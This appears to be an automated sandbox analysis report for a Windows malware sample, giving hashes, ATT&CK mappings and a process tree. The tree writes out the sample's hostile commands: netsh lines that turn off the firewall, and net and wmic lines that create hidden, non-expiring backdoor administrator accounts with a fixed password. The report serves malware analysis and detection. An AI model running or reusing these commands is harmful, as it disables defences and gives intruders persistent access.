ae1dab47fae0307831ec90b249d26ab4d783fd1fbfebf98a2448d40932885bbd

Resubmissions

31-08-2023 12:31

230831-pp5gasef7w 9

31-08-2023 12:09

230831-pbznwsfa54 10

Analysis

max time kernel
99s
max time network
94s
platform
windows10-2004_x64
resource
win10v2004-20230824-en
resource tags

arch:x64arch:x86image:win10v2004-20230824-enlocale:en-usos:windows10-2004-x64system
submitted
31-08-2023 12:09

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General

Target

malware200.exe
Size

448KB
MD5

957302c7e0c9e025397c2e3cfdc0fef3
SHA1

10ac72a20ac5cd28c94199899fe2eae6ed5b3a84
SHA256

ae1dab47fae0307831ec90b249d26ab4d783fd1fbfebf98a2448d40932885bbd
SHA512

e1443c86e1acb84c5ecb80db5ecca931882478bfdc792c99875eef93b028ba169433dfa2fea8c7a6ee78a3792108172fb8d2e41103a76c77f8d67ee967948ebc
SSDEEP

12288:oquErHF6xC9D6DmR1J98w4oknqOOCyQf1vYOUlsxd:prl6kD68JmlotQfhHUl4

Score

9^/10

evasion persistence

Malware Config

Signatures

Grants admin privileges 1 TTPs
Uses net.exe to modify the user's privileges.

Account Manipulation
T1098

Modifies Windows Firewall 1 TTPs 3 IoCs

evasion

Windows Service

T1543.003

pid	Process
3192	netsh.exe
3200	netsh.exe
1692	netsh.exe

Modifies WinLogon 2 TTPs 5 IoCs

persistence

Winlogon Helper DLL

T1547.004

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\software\WOW6432Node\microsoft\windows nt\currentversion\winlogon\specialaccounts\userlist	malware200.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows NT\CurrentVersion\Winlogon\specialaccounts	malware200.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows NT\CurrentVersion\Winlogon\specialaccounts\userlist	malware200.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows NT\CurrentVersion\Winlogon\specialaccounts\userlist\AstNet = "0"	malware200.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows NT\CurrentVersion\Winlogon\specialaccounts\userlist\server_sys = "0"	malware200.exe

AutoIT Executable 3 IoCs

AutoIT scripts compiled to PE executables.

resource	yara_rule
behavioral2/memory/5096-11-0x0000000000BE0000-0x0000000000CEC000-memory.dmp	autoit_exe
behavioral2/memory/5096-12-0x0000000000BE0000-0x0000000000CEC000-memory.dmp	autoit_exe
behavioral2/memory/5096-13-0x0000000000BE0000-0x0000000000CEC000-memory.dmp	autoit_exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\InstallService\{FC03963B-FC9C-41EE-A375-6E020A82C60B}.catalogItem	svchost.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	svchost.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	svchost.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	svchost.exe

Enumerates system info in registry 2 TTPs 2 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	svchost.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	svchost.exe

Runs net.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeIncreaseQuotaPrivilege	2664	WMIC.exe
Token: SeSecurityPrivilege	2664	WMIC.exe
Token: SeTakeOwnershipPrivilege	2664	WMIC.exe
Token: SeLoadDriverPrivilege	2664	WMIC.exe
Token: SeSystemProfilePrivilege	2664	WMIC.exe
Token: SeSystemtimePrivilege	2664	WMIC.exe
Token: SeProfSingleProcessPrivilege	2664	WMIC.exe
Token: SeIncBasePriorityPrivilege	2664	WMIC.exe
Token: SeCreatePagefilePrivilege	2664	WMIC.exe
Token: SeBackupPrivilege	2664	WMIC.exe
Token: SeRestorePrivilege	2664	WMIC.exe
Token: SeShutdownPrivilege	2664	WMIC.exe
Token: SeDebugPrivilege	2664	WMIC.exe
Token: SeSystemEnvironmentPrivilege	2664	WMIC.exe
Token: SeRemoteShutdownPrivilege	2664	WMIC.exe
Token: SeUndockPrivilege	2664	WMIC.exe
Token: SeManageVolumePrivilege	2664	WMIC.exe
Token: 33	2664	WMIC.exe
Token: 34	2664	WMIC.exe
Token: 35	2664	WMIC.exe
Token: 36	2664	WMIC.exe
Token: SeIncreaseQuotaPrivilege	2664	WMIC.exe
Token: SeSecurityPrivilege	2664	WMIC.exe
Token: SeTakeOwnershipPrivilege	2664	WMIC.exe
Token: SeLoadDriverPrivilege	2664	WMIC.exe
Token: SeSystemProfilePrivilege	2664	WMIC.exe
Token: SeSystemtimePrivilege	2664	WMIC.exe
Token: SeProfSingleProcessPrivilege	2664	WMIC.exe
Token: SeIncBasePriorityPrivilege	2664	WMIC.exe
Token: SeCreatePagefilePrivilege	2664	WMIC.exe
Token: SeBackupPrivilege	2664	WMIC.exe
Token: SeRestorePrivilege	2664	WMIC.exe
Token: SeShutdownPrivilege	2664	WMIC.exe
Token: SeDebugPrivilege	2664	WMIC.exe
Token: SeSystemEnvironmentPrivilege	2664	WMIC.exe
Token: SeRemoteShutdownPrivilege	2664	WMIC.exe
Token: SeUndockPrivilege	2664	WMIC.exe
Token: SeManageVolumePrivilege	2664	WMIC.exe
Token: 33	2664	WMIC.exe
Token: 34	2664	WMIC.exe
Token: 35	2664	WMIC.exe
Token: 36	2664	WMIC.exe
Token: SeIncreaseQuotaPrivilege	3404	WMIC.exe
Token: SeSecurityPrivilege	3404	WMIC.exe
Token: SeTakeOwnershipPrivilege	3404	WMIC.exe
Token: SeLoadDriverPrivilege	3404	WMIC.exe
Token: SeSystemProfilePrivilege	3404	WMIC.exe
Token: SeSystemtimePrivilege	3404	WMIC.exe
Token: SeProfSingleProcessPrivilege	3404	WMIC.exe
Token: SeIncBasePriorityPrivilege	3404	WMIC.exe
Token: SeCreatePagefilePrivilege	3404	WMIC.exe
Token: SeBackupPrivilege	3404	WMIC.exe
Token: SeRestorePrivilege	3404	WMIC.exe
Token: SeShutdownPrivilege	3404	WMIC.exe
Token: SeDebugPrivilege	3404	WMIC.exe
Token: SeSystemEnvironmentPrivilege	3404	WMIC.exe
Token: SeRemoteShutdownPrivilege	3404	WMIC.exe
Token: SeUndockPrivilege	3404	WMIC.exe
Token: SeManageVolumePrivilege	3404	WMIC.exe
Token: 33	3404	WMIC.exe
Token: 34	3404	WMIC.exe
Token: 35	3404	WMIC.exe
Token: 36	3404	WMIC.exe
Token: SeIncreaseQuotaPrivilege	3404	WMIC.exe

Suspicious use of FindShellTrayWindow 3 IoCs

pid	Process
5096	malware200.exe
5096	malware200.exe
5096	malware200.exe

Suspicious use of SendNotifyMessage 3 IoCs

pid	Process
5096	malware200.exe
5096	malware200.exe
5096	malware200.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 5096 wrote to memory of 264	5096	malware200.exe	88
PID 5096 wrote to memory of 264	5096	malware200.exe	88
PID 5096 wrote to memory of 264	5096	malware200.exe	88
PID 5096 wrote to memory of 1596	5096	malware200.exe	90
PID 5096 wrote to memory of 1596	5096	malware200.exe	90
PID 5096 wrote to memory of 1596	5096	malware200.exe	90
PID 5096 wrote to memory of 4552	5096	malware200.exe	89
PID 5096 wrote to memory of 4552	5096	malware200.exe	89
PID 5096 wrote to memory of 4552	5096	malware200.exe	89
PID 5096 wrote to memory of 2900	5096	malware200.exe	91
PID 5096 wrote to memory of 2900	5096	malware200.exe	91
PID 5096 wrote to memory of 2900	5096	malware200.exe	91
PID 5096 wrote to memory of 3348	5096	malware200.exe	96
PID 5096 wrote to memory of 3348	5096	malware200.exe	96
PID 5096 wrote to memory of 3348	5096	malware200.exe	96
PID 1596 wrote to memory of 3200	1596	cmd.exe	98
PID 1596 wrote to memory of 3200	1596	cmd.exe	98
PID 1596 wrote to memory of 3200	1596	cmd.exe	98
PID 4552 wrote to memory of 3192	4552	cmd.exe	100
PID 4552 wrote to memory of 3192	4552	cmd.exe	100
PID 4552 wrote to memory of 3192	4552	cmd.exe	100
PID 264 wrote to memory of 1692	264	cmd.exe	99
PID 264 wrote to memory of 1692	264	cmd.exe	99
PID 264 wrote to memory of 1692	264	cmd.exe	99
PID 3348 wrote to memory of 3404	3348	net.exe	101
PID 3348 wrote to memory of 3404	3348	net.exe	101
PID 3348 wrote to memory of 3404	3348	net.exe	101
PID 2900 wrote to memory of 1276	2900	net.exe	102
PID 2900 wrote to memory of 1276	2900	net.exe	102
PID 2900 wrote to memory of 1276	2900	net.exe	102
PID 5096 wrote to memory of 1944	5096	malware200.exe	103
PID 5096 wrote to memory of 1944	5096	malware200.exe	103
PID 5096 wrote to memory of 1944	5096	malware200.exe	103
PID 1944 wrote to memory of 1352	1944	net.exe	106
PID 1944 wrote to memory of 1352	1944	net.exe	106
PID 1944 wrote to memory of 1352	1944	net.exe	106
PID 5096 wrote to memory of 4464	5096	malware200.exe	107
PID 5096 wrote to memory of 4464	5096	malware200.exe	107
PID 5096 wrote to memory of 4464	5096	malware200.exe	107
PID 4464 wrote to memory of 2308	4464	net.exe	109
PID 4464 wrote to memory of 2308	4464	net.exe	109
PID 4464 wrote to memory of 2308	4464	net.exe	109
PID 5096 wrote to memory of 4636	5096	malware200.exe	110
PID 5096 wrote to memory of 4636	5096	malware200.exe	110
PID 5096 wrote to memory of 4636	5096	malware200.exe	110
PID 4636 wrote to memory of 3432	4636	net.exe	112
PID 4636 wrote to memory of 3432	4636	net.exe	112
PID 4636 wrote to memory of 3432	4636	net.exe	112
PID 5096 wrote to memory of 3944	5096	malware200.exe	113
PID 5096 wrote to memory of 3944	5096	malware200.exe	113
PID 5096 wrote to memory of 3944	5096	malware200.exe	113
PID 3944 wrote to memory of 4616	3944	net.exe	115
PID 3944 wrote to memory of 4616	3944	net.exe	115
PID 3944 wrote to memory of 4616	3944	net.exe	115
PID 5096 wrote to memory of 4996	5096	malware200.exe	116
PID 5096 wrote to memory of 4996	5096	malware200.exe	116
PID 5096 wrote to memory of 4996	5096	malware200.exe	116
PID 5096 wrote to memory of 2908	5096	malware200.exe	118
PID 5096 wrote to memory of 2908	5096	malware200.exe	118
PID 5096 wrote to memory of 2908	5096	malware200.exe	118
PID 5096 wrote to memory of 892	5096	malware200.exe	117
PID 5096 wrote to memory of 892	5096	malware200.exe	117
PID 5096 wrote to memory of 892	5096	malware200.exe	117
PID 4996 wrote to memory of 400	4996	net.exe	122

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p
1⤵
- Drops file in System32 directory
- Checks processor information in registry
- Enumerates system info in registry
PID:4324

C:\Users\Admin\AppData\Local\Temp\malware200.exe
"C:\Users\Admin\AppData\Local\Temp\malware200.exe"
1⤵
- Modifies WinLogon
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:5096
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c netsh firewall set opmode Disable
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:264
- - C:\Windows\SysWOW64\netsh.exe
    netsh firewall set opmode Disable
    3⤵
    - Modifies Windows Firewall
    PID:1692
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c netsh advfirewall set allprofiles state off
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4552
- - C:\Windows\SysWOW64\netsh.exe
    netsh advfirewall set allprofiles state off
    3⤵
    - Modifies Windows Firewall
    PID:3192
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c netsh advfirewall set currentprofile state off
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1596
- - C:\Windows\SysWOW64\netsh.exe
    netsh advfirewall set currentprofile state off
    3⤵
    - Modifies Windows Firewall
    PID:3200
- C:\Windows\SysWOW64\net.exe
  net user AstNet h3lp12desk /expires:never /add
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2900
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 user AstNet h3lp12desk /expires:never /add
    3⤵
    PID:1276
- C:\Windows\SysWOW64\net.exe
  net localgroup administrators AstNet /add
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3348
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 localgroup administrators AstNet /add
    3⤵
    PID:3404
- C:\Windows\SysWOW64\net.exe
  net localgroup "remote desktop users" AstNet /add
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1944
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 localgroup "remote desktop users" AstNet /add
    3⤵
    PID:1352
- C:\Windows\SysWOW64\net.exe
  net group "domain admins" AstNet /add
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4464
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 group "domain admins" AstNet /add
    3⤵
    PID:2308
- C:\Windows\SysWOW64\net.exe
  net user AstNet /active:yes
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4636
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 user AstNet /active:yes
    3⤵
    PID:3432
- C:\Windows\SysWOW64\net.exe
  net user AstNet /expires:never
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3944
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 user AstNet /expires:never
    3⤵
    PID:4616
- C:\Windows\SysWOW64\net.exe
  net user AstNet h3lp12desk
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4996
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 user AstNet h3lp12desk
    3⤵
    PID:400
- C:\Windows\SysWOW64\net.exe
  net user server_sys h3lp12desk /expires:never /add
  2⤵
  PID:892
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 user server_sys h3lp12desk /expires:never /add
    3⤵
    PID:4216
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /C "wmic path Win32_UserAccount where Name="AstNet" set PasswordExpires=false"
  2⤵
  PID:2908
- - C:\Windows\SysWOW64\Wbem\WMIC.exe
    wmic path Win32_UserAccount where Name="AstNet" set PasswordExpires=false
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:2664
- C:\Windows\SysWOW64\net.exe
  net localgroup administrators server_sys /add
  2⤵
  PID:2444
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 localgroup administrators server_sys /add
    3⤵
    PID:2644
- C:\Windows\SysWOW64\net.exe
  net localgroup "remote desktop users" server_sys /add
  2⤵
  PID:3840
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 localgroup "remote desktop users" server_sys /add
    3⤵
    PID:4316
- C:\Windows\SysWOW64\net.exe
  net group "domain admins" server_sys /add
  2⤵
  PID:2112
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 group "domain admins" server_sys /add
    3⤵
    PID:4752
- C:\Windows\SysWOW64\net.exe
  net user server_sys /active:yes
  2⤵
  PID:2400
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 user server_sys /active:yes
    3⤵
    PID:4080
- C:\Windows\SysWOW64\net.exe
  net user server_sys /expires:never
  2⤵
  PID:3372
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 user server_sys /expires:never
    3⤵
    PID:4816
- C:\Windows\SysWOW64\net.exe
  net user server_sys h3lp12desk
  2⤵
  PID:4364
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 user server_sys h3lp12desk
    3⤵
    PID:4520
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /C "wmic path Win32_UserAccount where Name="server_sys" set PasswordExpires=false"
  2⤵
  PID:2584
- - C:\Windows\SysWOW64\Wbem\WMIC.exe
    wmic path Win32_UserAccount where Name="server_sys" set PasswordExpires=false
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:3404

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
1⤵
PID:1284

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Account Manipulation

T1098

Boot or Logon Autostart Execution

T1547

Winlogon Helper DLL

T1547.004

Create or Modify System Process

T1543

Windows Service

T1543.003

Privilege Escalation

Account Manipulation

T1098

Boot or Logon Autostart Execution

T1547

Winlogon Helper DLL

T1547.004

Create or Modify System Process

T1543

Windows Service

T1543.003

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/5096-0-0x0000000000BE0000-0x0000000000CEC000-memory.dmp

Filesize
1.0MB

Download
memory/5096-11-0x0000000000BE0000-0x0000000000CEC000-memory.dmp

Filesize
1.0MB

Download
memory/5096-12-0x0000000000BE0000-0x0000000000CEC000-memory.dmp

Filesize
1.0MB

Download
memory/5096-13-0x0000000000BE0000-0x0000000000CEC000-memory.dmp

Filesize
1.0MB

Download

Resubmissions

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads